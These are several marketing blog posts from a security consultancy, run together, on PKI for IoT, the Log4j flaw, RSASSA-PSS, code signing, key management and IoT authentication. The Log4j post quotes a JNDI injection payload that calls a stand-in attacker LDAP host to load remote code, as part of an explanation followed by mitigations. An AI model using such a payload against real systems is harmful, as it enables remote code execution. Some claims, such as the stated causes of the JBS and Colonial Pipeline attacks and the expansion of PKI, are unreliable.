The exponential growth in the demand for Digital certificates leads to IoT Manufacturers needing encryption , authentication, and identity. This is where PKI comes into the picture. The critical public infrastructure is a set of hardware, software, policies, and processes for creating, managing, distributing, and updating digital certificates over time. For a long time, PKI has been a significant component of Security, and recently it is rising as a scalable solution for the security needs of IoT devices. However, this could lead to a more complex situation without a proper deployment.
Security Conditions for IoT
The authenticity of devices is a must before deployment. Protecting the integrity and confidentiality of data collected, stored, or transmitted by the apparatus is necessary.
They must also validate each device by providing digital signatures and certificates.
It should meet the industry compliance needs.
Securing IoT devices with PKI
There are various ways by which IoT devices can be secured with the help of PKI:
By using asymmetric encryption, we can provide the essential methods for strong cryptographic encryption and ensure private communication. It ensures that all the certificates issued are from the single certificate authority, which is trusted.
Establish and Defining Security Standards
Various standards provided by PKI provide you the comfort of defining a system cryptographically, with various options for revocation, renewal, and standard protocols for enrollment of certificates like EST REST API.
Maintaining Stronger Security
Talking about digital certificates provided by maintained PKI provides far more safety than traditional means of authentication. With the help of PKI, we have authentication and encryption capability, which helps us maintain robust Security.
By using unique identities
Using individual identities for every device, you can enable secure network access and code execution throughout the device’s existence. Also, these certificates can be updated as per needs.
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Public Key Infrastructure has been an ecosystem that has been used repeatedly for secure transactions with the help of Digital Certificates; In contrast, digital certificates have also been providing Security to the internet for long decades through PKI. By its main three features, it aims to provide a safe environment for IoT:
Encryption
We can provide the essential methods for strong cryptographic encryption and ensure private communication by using encryption.
Encryption helps in providing support for various IoT devices.
Provides robust encryption for data at rest and data in transit.
Authentication
Provides secure authentication without using a password between devices.
Establishes trust among devices and users.
Integrity
Data Integrity ensures that the data transmitted hasn’t been altered in any way.
Digitally signing papers, emails, and other data provides authorization and digital integrity.
Challenges
With PKI giving so many benefits to IoT in terms of Security and consistency, a few challenges come across while working on IoT Devices with PKI. Since IoT is an emerging technology and PKI being in the market for decades, some problems arise.
Everything can’t be done with traditional PKI Infrastructure, as traditional PKI Infrastructure is built to work without constraints, and in case of conditions, problems may occur.
Scalability for PKI might become an issue, i.e., building IoT-focused Certificate Authority is required.
Since IoT has various devices, traditional PKI Implementation may face issues in issuing certificates and implementing Security in IoT.
The Need for PKI to Secure IoT
From the dawn of the Internet, Public Key Infrastructure has been a staple in cybersecurity. Organizations looking to take advantage of IoT’s newest technology must realize that PKI is the key to their security needs. PKI allows the devices that IoT connects to have a proper framework to identify themselves and protect the data being communicated. The capabilities PKI offers an organization are the ability to implement freely, and personalization makes it the best security option. Using best practices for secure implementation will be the key to your success and reputation as an organization.
At Encryption Consulting, we can help your organization maximize Security using proper Public Key Infrastructure implementation and choose the best fit vendor.
Conclusion
IoT, a link between the world, has several security issues that are easy to exploit. PKI is the best solution due to its cost-effective and scalable features. PKI helps to secure IoT by using asymmetric encryption, maintaining more robust Security, and other various ways. PKI gives an advantage to the ecosystem by its three main features: Authentication, Encryption, and Integrity. There are multiple limitations like we can’t implement traditional PKI Infrastructure everywhere. Overall, PKI being the savior gives us a way to succeed in our security needs. At Encryption Consulting, we can help your organization maximize Security using proper Public Key Infrastructure implementation and choose the best fit vendor.
In the last month, you have likely seen the Log4j exploit in the news. A critical Remote code execution vulnerability, CVE-2021-44228, was discovered in December in Apache Log4j and it has affected millions of servers. Cloudflare has declared that the company has tracked more than 100k attempts per hour to exploit this vulnerability. Microsoft has observed that the vulnerability is being used by multiple nation-state hacking groups from China, North Korea, Iran, and Turkey. The exploitation attempts were high during the last week of December as well.
What is Log4j?
Apache Log4j is an open-source logging library that is widely used in almost every environment where a Java application is in use. This includes enterprise applications, cloud services, web applications, email services, and open-source software. This library is used to log security and performance information.
What is the issue?
The vulnerability leverages JNDI (Java Naming and Directory Interface) lookups, that are allowed in the default configuration of Log4j. JNDI is a Java API that clients use to lookup data and objects stored in different directory and naming services such as Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS), and Remote Method Invocation (RMI).
The API uses a string as an input parameter and this input parameter can be exploited by a remote attacker to execute arbitrary code. Log4j does not sanitize the input parameters, allowing an attacker to provide a string as a variable that could be used to load and invoke a remote Java class file. An attacker with the ability to control log messages can execute remote code loaded from LDAP servers when message lookup substitution is enabled and gain full control of the affected server. An attacker can exploit this vulnerability by following the below steps:
An attacker creates a specially crafted string containing the malicious payload and sends it to a vulnerable system. This string could be inserted in any of the fields that the system logs such as
User Agent
Username
Device Name or email address
The string points to an attacker controlled LDAP or DNS server, such as
${jndi:ldap://evil-hack.com/a}.
This string is then sent to Log4j for logging
The vulnerable system uses JNDI to query the attacker-controlled LDAP or DNS server.
The attacker-controlled LDAP or DNS server responds with a remote Java class file (exploit.class)
The Java class is downloaded and executed.
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The impact of the exploit is very broad due to the nature of the vulnerability. Log4j is widely used by developers and to exploit the vulnerability, an attacker only needs to exploit the target system to log a specially crafted message. Attackers are extensively exploiting this vulnerability for crypto mining and other types of malware attacks.
Cybercriminals exploit a new vulnerability to take advantage of it before it is remediated. In the case of Log4j, as it is so widely used by developers in almost every Java application, it provides a larger window for cybercriminals to exploit this vulnerability before the organization can patch their entire network and applications on the network.
Security experts have warned that because of the Java packing, the vulnerability could be several layers deep within the applications and not easily detected by scanners. Though the exploit is currently aimed at crypto mining, it could be exploited by serious threat actors to attack high-value targets such as financial institutions and federal agencies. Attackers are scanning both Windows and Linux systems for this vulnerability.
How to mitigate the risk?
An organization can follow the below recommendations to handle this vulnerability:
In order for an organization to identify the affected applications and systems, scanning tools and scripts must be deployed to detect vulnerable systems in the environment.
As a workaround, the JndiLookup class can be removed from the class path.
Apply the corresponding security patches for public-facing applications and systems immediately.
Apply the corresponding security patches for internal applications and systems as soon as possible.
Check your network perimeter logs for indicators of compromise.
If you are using a WAF, create rules specific to log4j.
Isolate the vulnerable systems through network segmentation or other means.
Monitor for suspicious activities with particular attention to applications that establish remote connections.
Consider implementing zero trust architecture.
Zero Trust Architecture
An important element in all malware attacks is that the attacker uses the organization’s applications and systems against the organization itself. Organizations should consider implementing zero trust architecture to protect the organization from its own applications and systems. Zero trust is an approach that secures an organization by rejecting implicit trust and continuously validating every request. It is based on the principle of “never trust, always verify”. Every access request is first authenticated, authorized, and encrypted before providing access to the resource. Zero trust architecture is based on three key principles:
Verify explicitly
Always authenticate and authorize requests based on user identity, device, location, service, workload, and other parameters.
Use least privilege
Restrict user’s access to only those resources required for the job role. Use risk-based policies and data protection to secure data and systems.
Assume breach and inspect every activity
Use analytics to get visibility of the network, systems, and applications, and improve defenses.
Identity has become the new network perimeter and verification of these identities is central to the zero-trust architecture. Instead of identification based on IP address, it’s based on verifying the user’s identity using Identity and Access Management (IAM), Multi-Factor authentication (MFA) and Public Key Cryptography (PKI).
In addition to identity verification, organizations need to ensure device verification as well by using certificates and key pairs, to strengthen the security of the organization. Data needs to be protected when at rest and in transit. This makes encryption, especially PKI, an important part in implementing zero-trust architecture. PKI allows an organization to establish machine identity and encrypts communications between networks. Organizations can use PKI to issue digital certificates to users, machines, web applications and mobile devices, to provide secure network authentication.
Conclusion
Organizations need to strengthen the security of their systems and applications against such vulnerabilities and exploits, and to do this they need to move towards a zero-trust architecture. Implementing a PKI is important for zero trust architecture and ensuring secure network authentication for users, systems, and web applications. Encryption Consulting is a customer-focused cyber security consulting firm providing services to various clients on implementing and managing PKI in their environments. To see how we can help your organization, visit our website at www.encryptionconsulting.com.
Rivest Shamir Adleman (RSA) is an asymmetric algorithm that can be used for encrypting and signing data. The encryption and signing processes are performed through a series of modular multiplications. The security of the RSA algorithm can be increased by using longer key lengths, such as 1,024 bits or more—the longer the key length, however, the slower the encryption or signing process. It is one of the most popular and secure public-key encryption methods. There are two different RSA signature schemes specified in the PKCS1
RSASSA-PKCS1-v1_5: old Signature Scheme with Appendix as first standardized in version 1.5 of PKCS #1.
RSASSA-PSS (RSASSA = RSA Signature Scheme with Appendix): based on the Probabilistic Signature Scheme (PSS) originally invented by Bellare and Rogaway.
Difference between RSASSA-PKCS1-v1_5 and RSASSA-PSS
RSASSA-PKCS1-v1_5
RSASSA-PSS
PKCSV1_5 is deterministic
It is randomized thereby producing a different value of signature each time
Message digest value can be extracted from a PKCSV1_5 signature
It cannot be extracted from a PSS signature but can only be verified against a known message digest value
Less secure and robust
PSS has security proof and is more robust than PKCSV1_5
It’s an old scheme
It’s a new scheme
It is recommended for compatibility with the existing signature application
It is recommended for compatibility with existing signature applications It is recommended for eventual adoption in new signature applications as it does not contain certain critical points of the older standard
Attacks on old signature schemes
The Bleichenbacher attack
In 1998, Daniel Bleichenbacher found out that the messages returned by SSL servers for errors in Public-Key Cryptography Standards (PKCS) #1 version 1.5 padding enabled an adaptive-chosen ciphertext attack, in which an attacker sends a series of ciphertexts to be decrypted, and then uses the results of these decryptions to select subsequent ciphertexts. This allowed an attacker to perform RSA decryption and signing operations using the private key of a TLS server, completely breaking the confidentiality of TLS when used with RSA encryption.
Fault-based attack
In 1996, Dan Boneh and others presented an attack on RSA doing faulty calculations. By injecting random faults into the calculations of RSA, they were able to regenerate the private key from the knowledge of the faulty signatures. RSA implementations using the Chinese remainder theorem to speed up calculations are especially vulnerable – a single erroneous signature allows the regeneration of the private key.
Protection against fault-based attacks like this is especially important in embedded devices like chip cards that are built not to expose the private key, but to provide cryptographic operations like signatures in an environment potentially under the control of an attacker. But in further studies, it has been established that PSS is not vulnerable to these fault-based attacks.
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RSASSA-PSS is an improved probabilistic signature scheme with an appendix. This means that a private RSA key can be used to sign the data in combination with random input. The other side of the communication can then verify the signature using the corresponding public RSA key. This signature scheme uses random data, so two signatures with the same input are different and both can be used to validate the original data.
RSASSA-PSS Parameters
Hash Algorithm/Function
Hash functions are used in encryption schemes, signature schemes with appendix and various encoding methods. Hash functions are deterministic, meaning that the output is completely determined by the input. Hash functions take input strings of variable length and generate fixed length output strings.
Mask Generation functions
A mask generation function takes an octet string of variable length and the desired output length as input and outputs an octet string of the desired length. Mask generation functions (MGF) are deterministic in nature. The output of a mask generation function should be pseudorandom, that is, if the seed to the function is unknown, it should be infeasible to distinguish the output from a truly random string.
The provable security of RSAES-OAEP and RSASSA-PSS relies on the random nature of the output of the mask generation function, which in turn relies on the random nature of the underlying hash.
Salt length
It is the salt value associated with the signature operation. The field is intended to facilitate single-pass processing. If the field is omitted, the salt value shall be obtained from the signature. The salt value enhances the security of the scheme by affording a “tighter” security proof than deterministic alternatives such as Full Domain Hashing (FDH)
Trailer field
It is used in the encoding operation and is an integer. The value MUST be 1, which represents the trailer field with hexadecimal value 0xBC.
Default Parameters
hashAlgorithm
Default value is SHA1, however SHA-256 is recommended
maskGenAlgorithm
MGF1 needs to be used. mgf1SHA1 (the function MGF1 with SHA-1)
saltLength
The default value is 20 but the convention is to use hLen, the length of the output of the hash function in bytes.
trailerField
trailerFieldBC (the byte 0xbc)
It is recommended that the MGF hash function be similar to that of scheme hash algorithm/function, and that the salt length be hLen which is the length of the output of the hash function.
Conclusion
RSASSA-PSS is an improved signature scheme which contains an attachment. It uses an RSA private key to sign the data and thereafter, the recipient can verify this signature using the public RSA key. It has various parameters and is more secure and robust as compared to others.
Hardening the security of an organization is extremely important as time goes on, since new techniques for infiltration are discovered often. Attacks can come from several different attack vectors, and one of the more common attacks executed today are code signing attacks. These attacks are exploited from several different means, but there are methods to harden security from these types of attacks. By following code signing best practices, you can harden your organization’s security against these attacks.
Why You Should Follow Code Signing Best Practices
As many organizations know, some of the most prevalent types of attacks today are supply chain attacks. Supply chain attacks are implemented on organizations that interact with a number of smaller organizations daily. What I mean by this is that supply chain attacks focus on organizations that provide software or tools to a number of smaller organizations. This allows threat actors to infect a tool or piece of software provided by a single organization, and in turn infect all the smaller organizations that use that tool. Some examples of supply chain attacks have been seen in recent news, such as the JBS Foods attack as well as the Colonial Pipeline attack.
Many of these supply chain attacks were done due to a lack of code signing best practices being in place. All it takes is a small gap that can be exploited by attackers to infect thousands of customers. Code signing is used as a common attack vector for supply chain attacks because with tools that are distributed to a number of different organizations, they must be updated regularly.
These updates, as long as code signing is in place, will be known to be from a trusted source, meaning the organization who created the tool or software. Without code signing, anyone could send along an update to the tool that would then infect each person who used that update, and this is exactly what happened in a number of different supply chain attacks.
Code Signing in the Industry
Though code signing is not a new technology, as companies have used it for many years, there are still gaps found in code signing techniques regularly. Though not related to code signing, recently a flaw was found in the Java coding language, the Log4J vulnerability, which has been in Java code for years. This vulnerability, even though it was only recently discovered, is within the basis of the majority of Java code on the Internet.
This recent flaw has sent the majority of the world’s companies into a panic attempting to patch this vulnerability. Many of these organizations will need to harden their security due to this flaw and keep up-to-date on updates from Java when an official patch does come out. This type of vulnerability is why it is so important to keep your systems updated with the best practices for code signing, as a large flaw like this may be found in the future.
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Below are some of the top code signing best practices that any organization can use to harden their existing security system.
Conclusion
As you can tell, hardening security whenever possible is very important to ensure the continued safety of an organization. Following best practice in all areas of computer security is very important, as a big flaw like the log4j vulnerability could be found at any time by any organization. Another great way to ensure an organization is following best practice is to monitor cybersecurity news and ensure that any patches or new methods of securing systems are updated when necessary. To learn more about how to implement our code signing product, visit our website at www.encryptionconsulting.com.
A robust and centralized enterprise key management system is very important for the effective use of cryptosystems for security within the organization. Poor key management can compromise any strong encryption algorithm. A robust key management system includes key lifecycle management, and physical and logical access control to the key servers and the encryption keys.
Key Management System
Key management is the management of cryptographic keys throughout the entire key lifecycle including key generation, key distribution, key activation/deactivation, key usage, key replacement, key recovery, key revocation, key backup, and key destruction. Key management is considered to be the most challenging part of cryptography. Encryption keys must be generated, stored, and distributed securely. A Key Management System (KMS) manages the keys during their entire lifecycle and ensures that keys are only accessible to authorized users and systems. A KMS ensures the confidentiality, integrity, and availability of the keys. It also logs all the operations performed on the keys for audit and compliance requirements.
Importance of Enterprise Key Management Systems
Organizations face several challenges while controlling and managing their encryption keys.
They need to manage a large number of encryption keys being used across different infrastructures.
They need to secure the keys from malicious insiders and attackers.
They need to support multiple heterogeneous environments consisting of applications, databases, and standards.
They need to enforce access control policies to protect data.
They need to comply with regulatory requirements.
Many organizations do not have complete knowledge of their keys, where they are generated, where they are stored, who can access them, what are they used for, if they have been regularly updated or not, if they are securely backed up or not, etc. All these gaps make the organization an easy target for attackers to compromise these keys. It is very important for an organization to understand where the encryption keys reside in order to protect them against hackers. A centralized and robust enterprise key management system is an integrated approach to manage keys in large organizations dealing with heterogeneous environments.
The enterprise key management system should provide the below functionalities
Secure key generation process.
Support for multiple key types and key lengths to support different applications.
Multiple layers of security to protect keys.
Strong access control mechanisms to secure access to keys.
Integrate with different enterprise tools.
Logging and monitoring capabilities for compliance requirements.
Support different APIs to integrate with systems such as KMIP, REST, and PKCS#11.
Automate tasks such as key backup, key rotation, etc.
High availability and Business Continuity capabilities.
Dual control for all key operations.
Simple backups and recovery process.
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Benefits of an enterprise key management system for an organization
Regulatory Compliance:
Organizations need to comply with regulatory requirements such as GDPR, CCPA, PCI-DSS, HIPAA, SOX and security standards such as ISO and FIPS. The regulations and security standards relevant to key management depends on the type of data that is being stored or processed and the sector the business operates in. A centralized enterprise KMS can help an organization pass compliance audits by demonstrating automatic logging of all security operations and enforcement of security policies.
Protection against Threats:
A comprehensive enterprise key management system can help an organization protect itself against security threats. By using enterprise KMS to prevent against the loss and misuse of keys, an organization can improve its security posture. The KMS helps to enforce the use of cryptographically strong keys, protect against theft, protect against human errors, protect against unauthorized access to keys, and rotate and delete keys as needed. All these functionalities of the enterprise KMS helps the organization to reduce risks and protect against threats.
Cost Reduction
An enterprise KMS helps in reducing cost of key management by automating key lifecycle management activities. Automation and scalability capabilities provided by KMS also helps in reducing the number of skilled resources needed to manage keys.
Efficiency
An enterprise KMS helps an organization streamline its entire key lifecycle management process, starting from key generation to key distribution to key destruction. This increases the overall efficiency of the organization’s security procedures. Regular automated backup and recovery procedures help an organization easily recover lost or compromised keys.
Use cases for an Enterprise Key Management System
The main drivers for implementing a centralized enterprise key management system within an organization are:
Prevention against data breaches
If an organization is concerned about data breaches and known security gaps, then it could become the main justification for deploying a centralized and robust enterprise key management system. The cost of deploying the enterprise KMS will be less as compared to the cost of a data breach, along with the fines, lawsuits, and the reputational damage of the organization.
Findings from Compliance audits
Findings from internal or external compliance audits that an organization has failed could become the main justification for deploying a centralized enterprise key management system. It enables the enforcement of policies and standards, and also provides auditing and monitoring capabilities that can be recorded and provided as evidence when needed.
Cost savings
Cost saving is another main justification for deploying an enterprise KMS. Centralizing and automating the key management process helps an organization manage keys across the heterogenous and complex environment of the organization.
Cloud migration
If an organization is migrating to cloud or using multi-cloud environments, then this could become the main justification for deploying an enterprise KMS to help manage keys across multiple cloud vendors and applications.
Conclusion
Proper management of encryption keys during their entire lifecycle is very important for the security of an organization, and its adherence to the regulatory compliances and security standards. A centralized and robust enterprise key management system is an effective and efficient way to secure keys and manage them during their entire lifecycle. This article discussed the challenges of managing keys, and importance and benefits of using a centralized KMS. The article also discussed the main drivers for deploying an enterprise key management system.
Internet of Things, or IoT, devices are everywhere in the world, whether you are at home, in the office, or just on the Internet in general. An IoT device is any type of device that connects to a network to access the Internet, so Personal Computers, cellphones, some speakers, and even some outlets are considered IoT devices. Today, even cars and airplanes use IoT devices, meaning if these devices are attacked by threat actors, then cars or airplanes could be hijacked or stolen. With such a widespread use of IoT devices in place in our world, authenticating and authorizing IoT devices within your organization’s network has become vital. Allowing unauthorized IoT devices onto your network can lead to threat actors leveraging these unauthorized devices to perform malware attacks within your organization.
Software-Based IoT Authentication
Before talking about specific ways to give authorization to IoT devices, we should first take a look at some of the general, software-based authentication methods available to Internet of Things devices.
One-way authentication: When two devices are both attempting to communicate with each other, one-way authentication can be used to authenticate only one of the devices as opposed to both. This is similar to how a client-server relationship works, where the client is just authenticating itself with the server, not the other way around. An example of one-way authentication could be signing onto a server with a username and password.
Two-way authentication: Similar to one-way authentication is two-way authentication, where both parties authenticate themselves to each other. An example of two-way authentication could be a SSL/TLS handshake.
Three-way authentication: Three-way authentication is also another method of authentication used. Three-way authentication uses a central point, like a server, to authenticate both of the devices attempting to communicate, with the central point itself as well as with each other. An example of three-way communication could be using a server that is trusted by both communicators to trust each other.
Distributed authentication: Another method of authentication used with IoT devices is Distributed authentication. Distributed authentication uses a distributed system to authenticate the two communicating parties.
Centralized authentication: Similar to distributed authentication is centralized authentication. Instead of using a distributed system to authenticate the parties, a centralized location system is used for authentication. One final way to authenticate devices is one of the more common methods: two-factor authentication. When logging into a network, a user may use a username and password and two-factor authentication. Two-factor authentication can be verifying the user’s identity by sending an email or text message to the user, or scanning a QR code, thus authenticating that device.
These are commonly used methods of authentication for the most part, but the following hardware-based authorization methods are found more commonly in larger organizations.
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As I mentioned previously, hardware-based authorization methods are more commonly used within an organization, as they provide the most widespread and secure method of authenticating IoT devices within a network. One of these hardware-based methods is the use of Hardware Security Modules. Hardware Security Modules, or HSMs, are used to securely store private keys from asymmetric key pairs. An asymmetric keypair has a public and private key mathematically linked together.
The private key, as the name suggests, is kept private while the public key can be viewed by anyone. When discussing IoT device authentication, devices within a network will have an asymmetric keypair, and a digital certificate associated with that keypair, connected to the device being authenticated. If the certificate provided to the HSM contains a public key linked to the private key stored within the HSM, then that device is allowed access to the network. If not, it’s access is denied.
Another method, usually used in conjunction with HSMs, is the use of a Public Key Infrastructure. A Public Key Infrastructure, or PKI, is a connection of Certificate Authorities stemming from a Root Certificate Authority, which create and distribute certificates to authorized devices in a network. These certificates can be traced back to the trusted Root Certificate Authority (Root CA), authorizing the IoT device connected to that certificate to use the organization’s network. Most PKIs will integrate an HSM with their PKI systems, to provide the highest level of security. The HSM handles the storage of the private keys of the certificates generated by the CAs. If a valid certificate, with a valid certificate chain connecting the certificate to the Root CA, is not found, then the device will not have any access to the network utilizing the PKI.
Some organizations will set up a Trusted Execution Environment (TEE) to protect their network and any sensitive data stored within that network. TEE is set up within a device that connects to an organization and uses high level encryption to authorize that device to be able to connect to and use an organization’s network. TEE is used in many organizations because it does not overtax the systems in place in a device, but instead uses a minimal amount of computing power to function.
One final authentication method that organizations will often use is a Trusted Platform Module. A Trusted Platform Module, or TPM, is a microchip that is put into an IoT device which completes the process of IoT device authentication due to the host-specific encryption keys stored within it. The chip, and the keys held within, are not accessible from software, so an attacker would not be able to leverage the chip to gain access to a network. When connecting to a network using TPMs, the chip provides a key and the network compares that key to known host keys. If they match with one of the known host keys, then access is granted.
Conclusion
These are just a few of the many different solutions available for IoT device authentication available to organizations. Choosing the right solution is very important, as not every organization has the same needs and wants for their IoT device security. It is important to have a detailed discussion within your cybersecurity team to determine what important points this authentication method must deal with, and how vast it needs to be spread. If your organization is massive and has minimal sensitive information, a TPM would likely not be the way to go as security does not need to be so strict and putting a chip in every device on the network would be extremely expensive. Something to note with these systems is that many of them would need to be handled manually. IoT management platforms can help with this as they allow an organization to manage security tools and get health reports on hundreds of IoT devices in their life using that portal. For any consultation needs relating to PKI or HSM work, visit our website at www.encryptionconsulting.com.
